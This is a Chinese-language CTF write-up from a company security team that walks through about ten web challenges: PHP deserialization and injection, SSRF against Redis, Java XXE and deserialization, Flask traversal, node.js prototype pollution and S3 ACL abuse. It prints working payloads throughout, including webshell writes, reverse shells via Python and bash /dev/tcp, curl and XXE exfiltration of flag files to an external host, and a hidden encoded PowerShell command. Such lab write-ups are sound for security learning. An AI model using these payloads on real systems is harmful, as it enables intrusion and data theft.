首先感谢国家网信相关单位及i春秋等公司对大赛的大力支持,喜马拉雅作为玄武组的一份子积极参加了比赛,并在赛后回顾和复现了赛题中出现的相关技术。作者目前也是正在边练边学的小朋友,如有差错还请师傅们交流斧正。
同时希望大家能多多关注本公众号,近期还会继续发布SRC的福利活动和优质的技术文章。
被微信公众号吃掉了的脚本链接,均可通过 阅读原文 或如下网址找到找到
https://github.com/hosch3n/expload
AreUSerialz
考察PHP反序列化、PHP弱类型比较
index.php 接收GET方法str
参数的值,并将值传入is_valid
函数,如果不包含不可见特殊字符,则对其进行反序列化
FileHandler
类的三个protected
属性分别为op
、filename
、content
,构造函数对三个属性进行初始化赋值后调用process
方法
由于op
属性为"1"
,继续调用write
方法,若写入的内容不超过100个字符,则利用file_put_contents
函数写文件,并返回状态消息给output
方法输出到页面上
如果满足$this->op == "2"
,就会调用read
方法,利用file_get_contents
函数读文件,并返回文件内容给output
方法输出到页面上
最后析构函数如果发现满足$this->op === "2"
就会改回"1"
,将content
属性置空并再次调用process
方法
这里反序列化直接可控的类属性是protected
类型,在序列化后会包含不可见字符%00
,不但过不了is_valid
函数的检查,在php版本小于5.3.4时还可能会导致截断
由于析构函数会将content
属性置空,所以绕过op
参数检查后,输出文件内容实际上是通过析构函数(而非构造函数)中的process
方法调用的。但php构造函数与析构函数工作路径可能会不一致,这也就是有些环境直接读当前目录下的flag.php
读不到东西的原因
测试了linux下php的cli模式、apache php_module模式与nginx FastCGI模式,结果同上。windows下看到b1ind师傅发的图,析构函数的工作目录是在apache目录下
因此想成功读到flag,需要将反序列化默认生成的不转义二进制的s
字符串类型,改为支持用十六进制表示S
字符串类型绕过检查。在php版本高于7.1时,也可以直接利用public
覆盖掉private
绕过检查
利用php弱类型比较满足2 == "2"
,但不满足强类型比较2 === "2"
的特性,绕过析构函数的拦截
然后按道理应该先从/proc/self/cmdline
中获取httpd配置文件路径,再从/web/config/httpd.conf
进一步获取web目录的绝对路径,利用绝对路径读/web/html/flag.php
的内容。。。但是线上环境相对路径就能直接读出来了
<?php
class FileHandler {
protected $op = 2;
protected $filename = "/var/www/html/flag.php"; \# ctfhub环境
protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str\_replace("s", "S", $b);
$b = str\_replace("%00", "\\\\00", $b);
echo $b;
\# ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\\00%2A\\00op%22%3Bi%3A2%3BS%3A11%3A%22\\00%2A\\00filename%22%3BS%3A22%3A%22/var/www/html/flag.php%22%3BS%3A10%3A%22\\00%2A\\00content%22%3BN%3B%7D
<?php
class FileHandler {
public $op;
public $filename;
public $content;
}
$a = new FileHandler();
$a\->op = 2;
$a\->filename = "flag.php";
echo urlencode(serialize($a));
\# ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
考察PHP二次注入
题目与2018年时相同,原理可参考七月火师傅的博客文章:
https://mochazz.github.io/2018/08/23/2018网鼎杯第二场Web题解/#unfinished
这里同时放一个自己撸的渣脚本
https://github.com/hosch3n/expload/blob/master/PHP-Tricks/unfinish.py
考察PHP的escapeshellxxx函数单引号逃逸、nmap参数注入写shell
2018年时安恒也出过这题,原理是escapeshellarg
与escapeshellcmd
的使用顺序不当会导致参数逃逸,分析参见PHP escapeshellarg()+escapeshellcmd() 之殇
https://paper.seebug.org/164/
在此基础上结合nmap的输出参数写shell,只是这里存在代码waf会拦截php
关键字,所以需要稍微绕过一下
\# 写webshell
' -oG a.phtml <?=eval($\_POST\[911\])?> '
\# 直接读文件
' -o a.txt -iL ../../../../../../../flag '
考察PHP利用反序列化绕WAF
对时间页抓包可以看到两个参数:func=date&p=Y-m-d+h%3Ai%3As+a
,猜测存在RCE,但是执行代码/命令的函数基本都被WAF了
fuzz发现file_get_contents
可用,用它把index.php下载下来
func=file_get_contents&p=index.php
通过in_array($func,$disable_fun)
卡了很多敏感函数,但是还漏了用于反序列化的unserialize
,于是就可以通过序列化后的Payload来绕过WAF
<?php
class Test {
public $p;
public $func;
}
$a = new Test();
$a\->func = "system";
$a\->p = "ls -al /";
echo urlencode(serialize($a));
\# func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A8%3A%22ls+-al+%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D
或者利用形如\system
的命名空间形式绕过WAF
考察PHP的JWT签名后绕WAF注入
开局一个表单,顺手admin,admin
就进去了,拿到一个key
回头来试注入会被问候到。。。就不贴图了
利用<>
置空特性和JWT的key签名后绕过WAF注入,表里没东西直接load_file
读根目录下的flag,再贴一个自己撸的辣鸡脚本
https://github.com/hosch3n/expload/blob/master/PHP-Tricks/js_on.py
考察PHP的SSRF绕过IP限制后,利用gopher协议打Redis授权后的主从同步RCE
给了源码,提示本地访问hint.php
开头限制了协议只能是http|https|gopher|dict
中的,然后卡了一下本地和内网IP,考虑到参赛队数量估计没有更深的内网环境
先利用?url=http://foo@127.0.0.1:80@x.x/hint.php
绕过IP限制(进制转换、0.0.0.0、DNS重绑定等也可以),看到提示的Redis密码为welcometowangdingbeissrfme6379
之后的思路就是利用gopher协议打需要认证的6379端口上的Redis,使其作为从机访问搭建了Rogue-MySql-Server
的VPS,将VPS上编译好的exp.so
拓展同步到目标上(俗称Redis主从同步RCE),这样就能直接利用Redis执行系统命令了,赛题环境弹shell总是抽风,所以直接执行cat
通过Web端回显读到了flag
<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'welcometowangdingbeissrfme6379 is root';exit();".$_POST['file']);
}
这里由于目前还没有方便的复现环境,所以就只贴一下Payload,不再干巴巴地多讲了,等CTFHub上了环境再补齐细节吧(表哥五毛拿来 $.$)
?url=http://foo@127.0.0.1:80@x.x/hint.php
?url=gopher://a@127.0.0.1:6379@x.x/_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%252430%250D%250Awelcometowangdingbeissrfme6379%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252413%250D%250A1.1.1.1%250D%250A%25244%250D%250A7777%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252435%250D%250Acat%2524%257BIFS%257D%2FflagFlagFLLLLLLLLLLLLLLag%250D%250A%252A1%250D%250A%25244%250D%250APOST%250D%250A
同时安利一下用到的工具:
`redis-ssrf``https://github.com/xmsec/redis-ssrf`` ``redis-rogue-server``https://github.com/n0b0dyCN/redis-rogue-server`
让ssrf-redis.py
的mode=3
,lhost
和lport
填VPS上rogue-server.py
监听的地址,同时将编译好的exp.so
和rogue-server.py
放在VPS的同一目录下,最后将生成的Payload二次编码后,通过?url=
参数打过去即可,执行的命令会在Web前端回显回来
考察Java的poi xml解析库XXE
直接访问是一个上传表单,上传任意文件后可以得到下载接口:/file_in_java/DownloadServlet?filename=
在CTFHub复盘时,尝试利用路径穿越下载/etc/passwd
和/webapps/file_in_java.war
会提示您要下载的资源已被删除!
,所以还是老实fuzz路径寻找tomcat所在的/usr/local/tomcat/
目录并下载web.xml
来获取路径信息:/file_in_java/DownloadServlet?filename=../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
从web.xml 中可以得知包名为cn.abc.servlet
,由此便可结合servlet名,构造出能下载到相应字节码文件的路径
/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/UploadServlet.class
/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class.class
/usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
安利一个集成了多种Java反编译引擎的网站:Decompilers online,反编译后看下代码逻辑
http://www.javadecompilers.com/
DownloadServlet
如果发现要下载的文件名包含flag
则会返回禁止读取
,UploadServlet
会调用POI
库解析以excel-
开头、xlsx
为后缀的文件
搜索org.apache.poi vuln,可以利用CVE-2014-3529读取flag文件,直接新建一个[Content_Types].xml
文件,压缩为zip格式后将文件名改为形如excel-xxx.xlsx
的格式
https://xz.aliyun.com/t/7272#toc-7
<?xml version\="1.0"?>
<!DOCTYPE ANY\[
<!ENTITY % file SYSTEM "file:///flag"\>
<!ENTITY % remote SYSTEM "http://公网地址/xxe.dtd"\>
%remote;
%all;
\]>
<root\>&send;</root\>
在能访问到的公网地址处放入xxe.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://WebLog/?%file;'>">
此时直接上传excel-xxx.xlsx
即可在WebLog平台收到利用XXE读到的flag
考察Java的swagger-ui接口泄漏、SQL注入、反序列化
给了部分字节码文件,反编译后看一下代码
可以看到用了swagger-ui
,继续跟进/sqlDict
dbName
为myapp
,同时发现SQL拼接存在注入
/swagger-ui.html#/test
可以方便地发起请求,抓包后尝试通过SQL注入获取信息,注意这里的#
或?
仅起填充分隔作用
dbName\=myapp#' union select user()--+
dbName\=myapp?a\=1' union select group\_concat(id,name,pwd) from user--+
{
"password": "admin@Rrrr\_ctf\_asde",
"username": "admin"
}
利用拿到的一组帐号密码通过swagger中泄漏的/common/user/login
登录后,会得到一段token
{
"Accept": "*/*",
"Authorization": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
}
Java环境下rO0AB
开头的数据优先猜测为序列化数据的Base64编码,aced
开头则优先猜测为hex编码,且这段数据可以被/common/user/current
解析,所以考虑打反序列化,先对命令编码一下渡劫Runtime.getRuntime().exec()
的坑
java -jar ysoserial.jar ROME 'bash -c {echo,Y3VybCBodHRwOi8vV2ViTG9nL2BjYXQgLypmbGFnKmA=}|{base64,-d}|{bash,-i}' > payload.bin
附PS版:powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwB1AHIAbAAgAGgAdAB0AHAAOgAvAC8AVwBlAGIATABvAGcALwBgAGMAYQB0ACAALwAqAGYAbABhAGcAKgBgAA==
import base64
filei \= open("payload.bin", "rb")
fileo \= open("payload.txt", "a")
bin\_data \= filei.read()
data \= base64.b64encode(bin\_data)
data \= f"Bearer {data.decode('utf-8')}"
fileo.write(data)
filei.close()
fileo.close()
将生成的payoad通过/common/user/current
打过去即可
考察Python的flask以及Linux相关知识点
给url
参数传喜闻乐见的../../../../../../etc/passwd
,可以目录穿越读到文件,尝试下载index.php
报错了,继续尝试main.py
成功获取源码
程序开头把/tmp/secret.txt
的内容读入变量后就把文件删掉了,manager
函数校验key后即可执行命令
结合题目环境猜测可能要用到Linux神奇的/proc
内存接口进一步获取信息,从/proc/self/cmdline
得知程序所在目录为/root/
,继续fuzz发现在/proc/self/fd/3
中存在一段十六进制PXR2aoaf3zuHodBEKE46B0baM5X6cgvPXMgJIfUg1z8
,猜测其就是/tmp/secret.txt
的内容
给/no_one_know_the_manager
传key和命令执行后意识到没有回显,利用/dev/tcp
反弹也没有反应,最后利用python反弹成功
/no\_one\_know\_the\_manager?key=PXR2aoaf3zuHodBEKE46B0baM5X6cgvPXMgJIfUg1z8=&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("IP",Port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\["/bin/sh","\-i"\])
# /root/flag.txt
考察node.js原型链污染
直接给了部分源码,看到undefsafe
这个包名就很奇奇怪怪,搜索undefsafe vuln
的第一条结果就说明了其存在原型链污染
var a \= require("undefsafe");
var payload \= "\_\_proto\_\_.toString";
a({},payload,"JHU");
console.log({}.toString);
可能导致的攻击有:
污染Object.prototype.toString
相关操作为int
等类型,导致DoS
污染形如user.isAdmin
的属性,导致越权
污染到Object.prototype.someattr
后,其被形如eval(someobject.someattr)
的代码执行后,导致RCE
结合开头处显眼的const { exec } = require('child_process');
来看,肯定是命令执行无误了,搜索exec
快速定位到能执行命令的功能点
可以看到用了从数组中枚举的方式来获取值,并传递给exec
函数利用/bin/bash'
解释执行,存在被利用原型链污染后新增命令
的风险,接下来只需要找到可控的输入流和调用了undefsafe
的地方
这样就可以通过向/edit_note
POST Payload,再访问/status
触发命令执行
// 反弹Shell
id\=\_\_proto\_\_&author\=bash \-i \>%26 /dev/tcp/IP/Port 0\>%261&raw\=1
// 直接读文件
id\=\_\_proto\_\_&author\=curl WebLog/\`cat /flag | base64\`&raw\=1
考察AmazonS3 starbucket
直接给了个链接,访问后按flag会提示没权限。扫目录后,访问config.php
可以看到报错
**Fatal error**: Uncaught Error: Class 'Aws\S3\S3Client' not found in /var/www/html/config.php:8 Stack trace: #0 {main} thrown in **/var/www/html/config.php** on line **8**
从前端接口看到用了starbucket ACL
,搜索一下可以知道其存在的三种访问权限分别为public-read-write
、public-read
和private
signature.php
会根据'https://starbucket.s3.us-east-2.amazonaws.com/userinfo/' + userid + '/info.js'
中的值来判断是否加载flag,所以需要通过改acl
参数为public-read-write
,同时上传info.js
覆写内容为{"admin":true,"avatar":"image\/default.jpg"}
,在下一次请求时即可通过权限校验拿到flag
/\*
signature.php?acl=public-read&key=image/
{"acl":"public-read","key":"image\\/","X-Amz-Credential":"AKIAI5OBRAEU3S5TMWHA\\/20200514\\/us-east-2\\/s3\\/aws4\_request","X-Amz-Algorithm":"AWS4-HMAC-SHA256","X-Amz-Date":"20200514T070533Z","Policy":"eyJleHBpcmF0aW9uIjoiMjAyMC0wNS0xNFQwODowNTozM1oiLCJjb25kaXRpb25zIjpbeyJhY2wiOiJwdWJsaWMtcmVhZCJ9LHsiYnVja2V0Ijoic3RhcmJ1Y2tldCJ9LHsia2V5IjoiaW1hZ2VcLyJ9LHsiWC1BbXotRGF0ZSI6IjIwMjAwNTE0VDA3MDUzM1oifSx7IlgtQW16LUNyZWRlbnRpYWwiOiJBS0lBSTVPQlJBRVUzUzVUTVdIQVwvMjAyMDA1MTRcL3VzLWVhc3QtMlwvczNcL2F3czRfcmVxdWVzdCJ9LHsiWC1BbXotQWxnb3JpdGhtIjoiQVdTNC1ITUFDLVNIQTI1NiJ9XX0=","X-Amz-Signature":"9e2e29e94e20253bdb6e6d4ab9b0e4af2ac1237782147a44cf3d72dbde2100b9"}
\*/
fetch('./signature.php?acl=public-read-write&key=userinfo/' + userid + '/info.js').then(res \=> res.json()).then(json \=> {
for(let key in json){
$('input\[name='+key+'\]')\[0\].value \= json\[key\];
}
})
文中部分思路来源于Venom战队的师傅,在此表示感谢
最后悄悄地剧透一下,XMSRC近期即将发布新的挖洞翻倍活动哦,希望大家多多支持鸭
喜马拉雅安全应急响应中心:https://security.ximalaya.com